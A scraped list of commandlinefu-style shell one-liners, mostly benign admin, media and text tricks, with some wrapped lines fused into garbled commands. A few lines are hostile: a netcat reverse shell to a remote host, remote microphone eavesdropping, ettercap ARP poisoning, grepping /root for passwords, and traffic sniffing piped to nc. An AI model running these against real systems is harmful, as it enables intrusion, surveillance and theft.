cat ~/.viminfo  | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'
# Pause and Resume Processes
stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }
# Blue Matrix
while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [ $i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done
# look for a function reference in a library set
nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$'
# FInd the 10 biggest files taking up disk space
find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10 | xargs -n 1 du -h 2>/dev/null
# Go to the Nth line of file
sed -n '15p' $file
# Copy a file from a remote server to your local box using on-the-fly compressio
nrsync -Pz user@remotehost:/path/file.dat .
# Edit a script that's somewhere in your path.
vim `which <scriptname>`
# Create more threads with less stack space
ulimit -s 64
# Quick and dirty RSS
curl --silent "FEED ADDRESS" |sed -e 's/<\/[^>]*>/\n/g' -e 's/<[^>]*>//g
# Update file with patch
patch originalfile -i my.patch -o newfile; mv newfile originalfile
# Change size of lots of image files.
for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done
# Get a range of SVN revisions from svn diff and tar gz them
tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print $2}' | grep -E -v '^\.$'`
# find out how much space are occuipied by files smaller than 1024K
find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5  | sed -e '2,$s/$/+/' -e '$ap' | dc
# Press a key automatically
while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done
# shell function to underline a given string.
underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf "\n"; }
# Play Star Wars Episode IV in your terminal ;)
telnet towel.blinkenlights.nl
# MySQL: Slice out a specific table from the output of mysqldump
sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p"
# reverse order of file
awk '{a[i++]=$0} END {for (j=i-1; j>=0;) print a[j--] }'
# Change the default editor for modifying the sudoers list.
sudo update-alternatives --config editor
# a function to create a box of '=' characters around a given string.
box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; }
# Report full partitions from a cron
df -l | grep -e "9.%" -e "100%"
# turn off auto hard disc boot scanning for ext3
tune2fs -c -1 -i 0 /dev/VG0/data
# Read info(1) pages using 'less' instead of GNU Texinfo
info gpg |less
# Generate MD5 of string and output only the hash checksum in a readable format
echo -n "String to MD5" | md5sum | sed -e 's/[0-9a-f]\{2\}/& /g' -e 's/  -//'
# Get me yesterday's date, even if today is 1-Mar-2008 and yesterday was 29-Feb-
2008TZ=XYZ24 date
# Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/]+$'
# Rips CDs (Playstation, etc.) and names the files the same as the volume name
cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc
# Find the annual salary of any White House staffer.
curl -s "http://www.socrata.com/api/views/vedg-c5sb/rows.json?search=Axelrod" | grep "data\" :" | awk '{ print $17 }'
# Find artist and title of a music cd, UPC code given (first result only)
curl -s 'http://www.discogs.com/search?q=724349691704' | sed -n '\#/release/#{s/^<div>.*>\(.*\)<\/a><\/div>/\1/p}'
# Use mtr to create a text file report
mtr --report --report-cycles 10 www.google.com > google_net_report.txt
# power off system in X minutes
shutdown -h 60
# Stat each file in a directory
find -name `egrep -s '.' * | awk -F":" '{print $1}' | sort -u` -exec stat {} \;
# easier sudo apt-get install
alias sagi="yes | sudo apt-get install"
# Creates a SSHFS volume on MacOS X (better used as an alias). Needs FuseFS and 
SSHFS (obvioulsly).mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/ /Volumes/sshdisk -oreconnect,volname=SSHDisk
# Create a 100MB file for testing transfer speed
dd if=/dev/random of=bigfile bs=1024 count=102400
# command! -nargs=1 Vs vs &lt;args&gt;
Create aliases for common vim minibuffer/cmd typos
# create random numbers within range for conjob usage
H=$(until ([ $i -le 6 -a $i -gt 0  -o $i -le 23 -a $i -gt 21 ] ); do i=$(date +%N | cut -c8-10); done ; echo $i) ; M=$(until [ $i -le 59 ]; do i=$(date +%N | cut -c8-10); done ; echo $i) ; echo $M $H \* \* \* backup-rsync-push.sh
# Syntax Highlight your Perl code
perl -MText::Highlight -E '$h=Text::Highlight->new(ansi=>1); my $text=do{local $/; open my $fh, "<", $ARGV[0]; <$fh>}; say $h->highlight("Perl", $text);' path/to/perl-file.pl
# Take a screenshot every 2 seconds
i=0;while :; do i=$(expr "$i" + 1); scrot "$i".png; sleep 2; done;
# Delete empty,  24-hours-old directories recursively, without consider hidden d
irectoriesfind .  -regex "[^.]*" -depth -empty -type d -mtime +1 -exec rmdir -v {} \;
# Jump to a song in your XMMS2 playlist, based on song title/artist
function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re 's@.+\[(.+)/.+\] (.+)@\1@'`; }
# Recursively create a TAGS file for an entire source tree. TAGS files are usefu
l for editors like Vim and Emacsctags -R
# Multiple search and replace on a file with perl
perl -i.bak -pe 's/apple/orange/; s/dollar/euro/; s/foo/bar/;' file
# shell equivalent of a boss button
cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl -MTime::HiRes -pne "Time::HiRes::usleep(rand()*1000000)"
# Make a DVD ISO Image from a VIDEO_TS folder on MacOSX
hdiutil makehybrid -udf -udf-volume-name DVD_NAME -o MY_DVD.iso /path/
# Erase empty files
find . -type f -size 0 -delete
# Get your public ip
curl -s http://icanhazip.com/
# Use "most" as your man pager
export MANPAGER='most'
# Convert spaces in file names to underscores
rename 'y/ /_/' *
# Automatically create a rar archive
rar a -m0 "${PWD##*/}.rar" *
# Change framebuffer font
setfont cybercafe
# Kill XMMS for a cron job
pkill xmms
# Find a CommandlineFu users average command rating
curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
# eavesdrop
ssh USER@REMOTESYSTEM arecord - | aplay -
# Google Translate
wget -U "Mozilla/5.0" -qO - "http://translate.google.com/translate_a/t?client=t&text=translation+example&sl=auto&tl=fr" | sed 's/\[\[\[\"//' | cut -d \" -f 1
# host - DNS lookup utility
host google.com
# A function to find the newest file of a set.
newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue;  [[ -z $candidate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }
# Leap year calculation
leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; }
# Query Wikipedia via console over DNS
mwiki () { dig +short txt `echo $*|sed 's|  *|_|g'`.wp.dg.cx; }
# sendEmail - easiest commandline way to send e-mail
sendEmail -f [email protected] -u subject of nessage -t youfriend@hisdomain -m message to him
# reverse order of file
tac $FILE
# view all lines without comments.
grep -v "^#" file.txt | more
# Backup a filesystem to a remote machine and use cstream to throttle bandwidth 
of the backupnice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"
# Find Duplicate Files, excluding .svn-directories (based on size first, then MD
5 hash)find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
# Reconstruct standard permissions for directories and files in current director
ychmod -R u=rwX,g=rX,o=rX .
# Command line calculator
calc() { python -c "from math import *; print $1"; }
# Create an alias, store it in ~/.bash_aliases and source your new alias into th
e ~/.bashrcecho "alias topu='top -u USERNAME'" >>  ~/.bash_aliases && source .bashrc
# Command line calculator
python -ic "from __future__ import division; from math import *; from random import *"
# Recursively remove all files in a CVS directory
for dir in $(find -type d ! -name CVS); do for file in $(find $dir -maxdepth 1 -type f); do rm $file; cvs delete $file; done; done
# Command line calculator
calc() { bc <<< $*; }
# Get a file from SharePoint with cURL
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file
# Scans for open ports using telnet
HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo -en "\n\nport $port/tcp is open\n\n";fi;done | grep open
# sync svn working copy and remote repository (auto adding new files)
svn status | grep '^?' | awk '{ print $2; }' | xargs svn add
# Find and delete oldest file of specific types in directory tree
find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm
# Display network pc "name" and "workgroup"
nmblookup -A <ip>
# Screen enable/disable loggin in all windows
bindkey ^l at "#" log on   bindkey ^o at "#" log off
# combining streams
ll /root/ 2>&1 | grep -E '(psw|password)'
# execute a shell with netcat without -e
mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe
# Drop all tables from a database, without deleting it
MYSQL="mysql -h HOST -u USERNAME -pPASSWORD -D DB_NAME" ; $MYSQL -BNe "show tables" | awk '{print "set foreign_key_checks=0; drop table `" $1 "`;"}' | $MYSQL unset MYSQL
# Quick HTML image gallery from folder contents with Perl
find . | perl -wne 'chomp; print qq|<img src="$_" title="$_" /><br />| if /\.(jpg|gif|png)$/;'> gallery.html
# Tail postfix current maillog and grep for "criteria"
tail -f `ls -alst /var/log/maillog* | awk '{print $10} NR>0{exit};0'` | grep "criteria"
# Get a list of the erroring cifs entries in fstab
ls $(grep cifs /etc/fstab | grep -v ^# |awk ' { print $2 } ') 1>/dev/null
# mplayer -vo aa foo.mpg
Play "foo.mpg" in your terminal using ASCII characters
# prints message in given argument on on center of screen
function echox { echo `tput cup $(($(tput lines))) $(( ($(tput cols) - $(echo "${#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; }
# Test your total disk IO capacity, regardless of caching, to find out how fast 
the TRUE speed of your disks aretime (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync )
# Print a random 8 digit number
jot -s '' -r -n 8 0 9
# Display the output of a command from the first line until the first instance o
f a regular expression.command | sed '/regex/q'
# Get MAC address
ifconfig | awk '/^eth0/ {print $5}'
# Backup trought SSH
tar cvzf - /wwwdata | ssh root@IP "dd of=/backup/wwwdata.tar.gz"
# Place the argument of the most recent command on the shell
<Esc> _
# Debug a remote php application (behind firewall) using ssh tunnel for XDEBUG p
ort 9000ssh -R 9000:localhost:9000 [email protected]
# List top 10 files in filesystem or mount point bigger than 200MB
find /myfs -size +209715200c -exec du -m {} \; |sort -nr |head -10
# run command on a group of nodes in parallel
echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'
# reset an hanging terminal session
^J tput sgr0 ^J
# Test http request every second, fancy display.
watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Close  EOF'
# Remotely sniff traffic and pass to snort
sniff_host:  tcpdump -nn -i eth1 -w - | nc 192.168.0.2 666
# Go up multiple levels of directories quickly and easily.
alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.."
# let a cow tell you your fortune
cowsay $(fortune)
# full path listing in /directory/path/* of javascript files.
tree -fi /directory/path/* | grep "\.js"
# Output the content of your Active Directory in a CSV file
csvde -f test.csv
# Find C/C++ source code comments
perl -e 'my $in_comment = 0; while (<>) { $in_comment = 1 if m{\Q/*\E}; print if $in_comment; $in_comment = 0 if m{\Q*/\E}; }' *.cpp
# Short URL to commandlinefu.com commands
lynx cmdl.in/9058
# dump 1KB of data from ram to file
dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1
# Recursively grep thorugh directory for string in file.
find directory/ -exec grep -ni phrase {} +
# Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 $(for e in `qlist -I --nocolor | uniq`; do for f in `qlist -e $e`; do if test ! -e $f; then echo $e; echo $e: missing $f 1>&2; fi; done; done)
# gain all mp3s in subfolders w/o encoding
find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k
# Update all GPG keys in your keyring
gpg --keyserver pgp.mit.edu --recv-keys `gpg --list-key | grep ^pub | awk '{print $2}' | sed 's,^.*/,,g'`
# Url Encode
od -An -w999 -t xC <<< "$1" | sed 's/[ ]\?\(c[23]\) \(..\)/%\1%\2/g;s/ /\\\\\x/g' | xargs echo -ne
# translate with google, get all translations
translate() { echo $1: $(wget -q -O - 'http://www.google.de/dictionary?source=translation&q='$1'&langpair=en|de' | grep '^<span class="dct-tt">.*</span>$' | sed 's!<span class="dct-tt">\(.*\)</span>!\1, !'); }
# AWK: Set Field Separator from command line
awk -F, '{print $1" "$2" "$NF}' foo.txt
# What is the use of this switch ?
manswitch() { man $1 | grep -A5 "^ *\-$2"; }
# Print all lines in a file that are not a certain length
awk 'length($0)!=12 {print}' your_file_name
# Scan for [samba|lanman] NetBIOS names and ip addresses in LAN by ARP.
arp-scan -I eth0 -l | perl -ne '/((\d{1,3}\.){3}\d{1,3})/ and $ip=$1 and $_=`nmblookup -A $ip` and /([[:alnum:]-]+)\s+<00>[^<]+<ACTIVE>/m and printf "%15s  %s\n",$ip,$1'
# burn initial session on a growable DVD using growisofs
growisofs -Z /dev/dvd -J -r "directory name to burn on DVD"
# Pipe the result of a command to IRC (channel or query)
function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; }
# find all writable (by user) files in a directory tree (use 4 for readable, 1 f
or executable)find . -type f -perm +200 -print
# Suspend to ram
dbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/UPower org.freedesktop.UPower.Suspend
# Replaces a color in a PDF document, useful for removing a dark background befo
re printing.convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" output.pdf
# print character classes
pcharc(){ perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; echo;}
# List your interfaces and MAC addresses
ifconfig | grep HWaddr | awk '{print $1,$5}'
# Enable verbose boot in Mac OS X Open Firmware
sudo nvram boot-args="-v"
# Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $6}'`
# swap the java version being used
sudo update-alternatives --config java
# Read null character seperated fields from a file
read -d ""
# unrar all part1 files in a directory
ls -1 *.part1.rar | xargs -d '\n' -L 1 unrar e
# get a mysqldump with a timestamp in the filename and gzip it all in one go
mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz
# eDirectory LDAP Search for Statistics
ldapsearch -h ldapserver.willeke.com -p389 -b "" -s base -D cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut strongAuthBinds addEntryOps
# one-liner mpc track changer using dmenu
mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))
# Comment out all lines in a file beginning with string
sed -i 's/^\(somestring\)/#\1/' somefile.cfg
# Given $PID, print all child processes on stdout
ps uw --ppid $PID
# View the current number of free/used inodes in a file system
df -i  <partition>
# delete file name space
find . -type f -print0 | xargs -0 rename 's/\ //g'
# Ping a range of addresses
nmap -sP -T Insane 192.168.1.1-254
# Simple addicting bash game.
while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done
# Count occurrences per minute in a log file
grep <something> logfile | cut -c2-18 | uniq -c
# Copy the currently playing song in MPD to somewhere else
cp "/var/lib/mpd/music/`mpc --format '%file%' | head -n1`" /some/where/else
# Display _something_ when an X app fails
xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}
# sum numbers in the file (or stdin)
echo $(($(tr '\n' '+')0))
# commentate specified line of a file
sed -i '<line_no>s/\(.*\)/#\1/' <testfile>
# Automaticly cd into directory
shopt -s autocd
# Google voice recognition "API"
wget -q -U "Mozilla/5.0" --post-file speech.flac --header="Content-Type: audio/x-flac; rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=en-us&client=chromium"
# re-assign line numbers
perl -pe 's/\d+/++$n/e' file.txt
# play audio stream and video stream in two different mplayer instances
mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884
# Automatically download Ubuntu 10.04 when available
while true; do if wget http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-i386.iso.torrent; then ktorrent --silent ubuntu-10.04-desktop-i386.iso.torrent ; date; break; else sleep 5m; fi; done
# Join lines
awk 'BEGIN{RS="\0"}{gsub(/\n/,"<SOMETEXT>");print}' file.txt
# BASH: Print shell variable into AWK
MyVAR=86; awk -v n=$MyVAR '{print n}'
# move all the .bak backup copies to their original names (rename files by strip
ping the extension)for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//'`; echo renaming $i to $nuname;mv $i $nuname; done
# Get full from half remembered commands
apropos <part_rember> | less
# Get fully qualified domain names (FQDNs) for IP address with failure and multi
ple detectionNAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" && NAME="NO_NAME"; echo "$NAME"
# Copy the full path of a file to the clipboard (requires xclip or similar)
>realpath ./somefile.c | xclip -selection c
# Single Line Twitter-Tracker
WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/public_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twitt.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 300;done
# List hostnames of all IPs
for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done
# convert wav into mp3 using lame
lame -V2 rec01.wav rec01.mp3
# Downlaoad websites to 5 level and browse offline!
wget -k -r -l 5 http://gentoo-install.com
# Generate SHA1 hash for each file in a list
ls [FILENAME] | xargs openssl sha1
# Mount a truecrypt drive from a file from the command line interactively
sudo truecrypt <truecrypt-file> <mount-point>
# Daily watch "question pour un champion" (French TV show)
kaffeine $(wget -qO- "http://questions-pour-un-champion.france3.fr/emission/index-fr.php?page=video&type_video=quotidiennes&video_courante=$(date +%Y%m%d)" | grep -o  "mms.*wmv" | uniq)
# Find the biggest files on your hard drive
find / -type f -size +500000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
# start a VNC server for another user
su -c "vncserver -depth 32 -geometry 1024x768" username
# Get the next weekday for an 'at' command
if [ $(date +%u) -lt 6 ];then AT="tomorrow"; else AT="next monday";fi;echo "beep" | at ${AT}
# KDE Mixer Master Mute/Unmute
alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0 masterMute\(\) | sed -e 's/true/muted/' -e 's/false/unmuted/' "
# for x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()
"`; do pg_dump -C $x | gzip > /backups/$x-back.gzfor x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"`; do pg_dump -C $x | gzip > /var/lib/pgsql/backups/$x-nightly.dmp.gz; done
# Creates Solaris alternate boot environment on another zpool.
lucreate -n be1 [-c be0] -p zpool1
# Add temporary entry to authorized_keys
Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;cat /dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes;
# Get the ip registered to a domain on OpenWRT
nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}'
# Grep auth log and print ip of attackers
egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq
# Using mplayer to play the audio only but suppress the video
mplayer -novideo something.mpg
# gvim in full screen (execute again to toggle full screen on/off)
:exe "!wmctrl -r ".v:servername." -b toggle,fullscreen"
# Remove multiple spaces
sed "s/^ *//;s/ *$//;s/ \{1,\}/ /g" filename.txt
# list files in 'hitlar' mode
ls -Fhitlar
# append empty line after every line in file.txt
sed G file.txt
# Find files with the same names in several directories.
ls -1 . dir2 dir3|sort|uniq -d
# Get the size of all the directories in current directory
sudo du -sh $(ls -d */) 2> /dev/null
# Open-iscsi target discovery
iscsiadm -m discovery -t sendtargets -p 192.168.20.51
# How to backup hard disk timely?
rsync -av --link-dest=$(ls -1d /backup/*/ | tail -1) /data/ /backup/$(date +%Y%m%d%H%M)/
# Alternative for basename using grep to extract file name
fileName(){ echo ${1##*/}; }
# complete extraction of a debian-package
dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN;
# Get a funny one-liner from www.onelinerz.net
w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div id=\"oneliner_[0-9].*/ {while (! /\/div/ ) { gsub("\n", ""); getline; }; gsub (/<[^>][^>]*>/, "", $0); print $0}'
# Check (partial) runtime-dependencies of Gentoo ebuilds
qlist --exact "$pkg" | sudo scanelf --needed --quiet --format '%n#F' | tr ',' '\n' | sort -u | qfile --from -
# Using vim to save and run your python script.
vim ... :nmap <F5> :w^M:!python %<CR>
# Replacing text in text files
sed -i -e "s/text to replace/final text/g" file
# A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3' | mysql -u <localusername> -p<localdbpassword> <localdbname> < /dev/stdin
# Lookup errno defintions
perl -MPOSIX -e 'print strerror($ARGV[0])."\n";' ERRNO
# Batch convert PNG to JPEG
for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done
# ettercap..
ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log
# zsh suffix to inform you about long command ending
alias -g R=' &; jobs | tail -1 | read A0 A1 A2 cmd; echo "running $cmd"; fg "$cmd"; zenity --info --text "$cmd done"; unset A0 A1 A2 cmd'
# Cut flv video from minute 19 to minute 20 using flvtool2
flvtool2 -C -i 1140000 -o 1200000 input output
# Replace spaces in filename
for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done
# Show a Package Version on RPM based distributions
rpm -q --queryformat %{VERSION}\\n pkgname
# Burn an audio CD.
goburncd() { d=/tmp/goburncd_$RANDOM; mkdir $d && for i in *.[Mm][Pp]3; do lame --decode "$i" "$d/${i%%.*}.wav"; done; sudo cdrecord -pad $d/* && rm -r $d; eject }
# List files with full path
echo $PWD/*
# defragment files
find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t
# Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpeg/\.jpg/' *.jpeg; rename 's/\.JPG/\.jpg/' *.JPG
# Create a simple playlist sort by Genre using mp3info
for file in $(find ~/ -iname "*.mp3");do c=$(mp3info $file|grep Genre|cut -f 3 -d :|cut -f 2 -d " ");if [ -z "$c" ];then c="Uncategorized";fi;if [ ! -e $c ];then touch $c.m3u;fi;echo "$file">>$c.m3u;done
# Running a command at a specific time
echo "notify-send TimeToQuit" | at 10:22
# Find the modified time (mtime) for a file
date -r foo
# For when GUI programs stop responding..
xkill
# Changing the terminal title to the last shell command
if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi
# Display top 5 processes consuming CPU
ps -eo pcpu,user,pid,cmd | sort -r | head -5
# View the newest xkcd comic.
wget `lynx --dump http://xkcd.com/|grep png`
# happened to find this not bad software to keep my files and folders safe! Even
 the free trial version has the fantastic functions to protect any private files from being seen by anyone except me. With it I can encrypt, hide or lock anything I want, amazintr '[A-Za-z]' '[N-ZA-Mn-za-m]'
# Delicious search with human readable output
filterous -dntb --tag Bash < bookmarks.xml
# Download all videos in your Boxee queue
for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done
# Convert a mp3 file to m4a
mplayer -vo null -vc null -ao pcm:fast:file=file.wav file.mp3; faac -b 128 -c 44100 -w file.wav
# Skip to next selection in playlist
killall -2 mpg321
# continuously print string as if being entered from the keyboard
cycle(){ while :;do((i++));echo -n "${3:$(($i%${#3})):1}";sleep .$(($RANDOM%$2+$1));done;}
# Syntax highlight PHP source
php -s source.php > source.html
# File rotation without rename command
for i in {6..1} ; do for f in *.$i.gz ; do mv "$f" "${f/.$i.gz}".$((i+1)).gz 2> /dev/null ; done; done
# Syntax Highlight your Perl code
perl -mText::Highlight -E 'say Text::Highlight->new(ansi => 1)->highlight(Perl => do { local (@ARGV,$/) = shift; <> }) ' path/to/perl-file.pl
# Output files without comments or empty lines
function catv { egrep -v "^$|^#" ${*} ; }
# Benchmark report generator
hardinfo -am benchmark.so -f html > report.html
# Count lines of code across multiple file types, sorted by least amount of code
 to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) | xargs wc -l | sort -n
# Turning on and off Internet radio
radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@ http://173.236.29.51:8200  & fi }
# Run netcat to server files of current folder
Server side: while true; do tar cvzf - ./* | nc -l 2000; done, client side: nc localhost 2000 | tar xvzf -
# ZSH prompt. ':)' after program execution with no error, ':(' after failure.
PROMPT=$'%{\e[0;32m%}%B[%b%{\e[0m%}%n%{\e[0;32m%}@%{\e[0m%}%(4c,./%1~,%~)%{\e[0;32m%}%B]%b% %(?,%{\e[0;32m%}:%)%{\e[0m%},%{\e[0;31m%}:(%{\e[0m%}) %# '
# Get your external IP address if your machine has a DNS entry
host $HOSTNAME|cut -d' ' -f4
# Command to logout all the users in one command
skill -KILL -v /dev/pts/*
# count of down available ips
nmap -v -sP 192.168.10.0/24 | grep down | wc -l
# parrallel execution of a command on remote hosts by ssh or rsh or ...
pdsh -R ssh -w se00[1-5] # a list of host names
# Easy way to scroll up und down to change to one of <i>n</i> last visited direc
tories.alias cdd="history -a && grep '^ *[0-9]* *cd ' ~/.bash_history| tail -10 >>~/.bash_history && history -r ~/.bash_history"
# Find file containing namespace in a directory of jar files.
for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done
# test moduli file  generated  for openssh
ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates
# Backup a file with a date-time stamp
buf () { filename=$1; filetime=$(date +%Y%m%d_%H%M%S); cp ${filename} ${filename}_${filetime}; }
# Function to remove a directory from your PATH
pathrm() { PATH=`echo $PATH | sed -e "s=^${1}:==;s=:${1}$==;s=:${1}:=:="`; }
# Display the standard deviation of a column of numbers with awk
awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat
# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
# Produce a pseudo random password with given length in base 64
perl -MDigest::SHA -e 'print substr( Digest::SHA::sha256_base64( time() ), 0, $ARGV[0] ) . "\n"' <length>
# Shows users and 'virtual users' on your a unix-type system
ps -eo user | sort -u
# Remove multiple same rpm packages
rpm -e --allmatches filename.rpm
# Sort files by date
ls -lrt
# Change user within ssh session retaining the current MIT cookie for X-forwardi
ngsu username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"
# Copy without overwriting
yes n | cp -p -i -r <src> <dest>
# count of down available ips
nmap -v -sP 192.168.10.0/24 | grep -c down
# list process ids for given program
pidof httpd
# Mount an smb share on linux
mount -t smbfs //$server/share /local/mount -o rw,username=$USER
# Add a line from 1 file after every line of another (shuffle files together)
sed '/^/R addfile' targetfile > savefile
# Remove newlines from output
awk /./ filename
# Ultimate current directory usage command
find . -maxdepth 1 ! -name '.'  -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs
# List open TCP/UDP ports
lsof -i tcp -i udp
# Go up multiple levels of directories quickly and easily.
alias ..="cd .." ...="cd ../.." ....="cd ../../.."
# Open a file with specified application.
open -a BBEdit file.sql
# List your largest installed packages (on Debian/Ubuntu)
awk '{if ($1 ~ /Package/) p = $2; if ($1 ~ /Installed/) printf("%9d %s\n", $2, p)}'  /var/lib/dpkg/status | sort -n | tail
# An alarm clock using xmms2 and at
echo "xmms2 play" | at 6:00
# calculate the total size of files in specified directory (in Megabytes)
find directory -maxdepth 1 -type f  | xargs ls -l | awk 'BEGIN { SUM=0} { SUM+=$5 } END { print SUM/2^20 }'
# Get your IP addresses
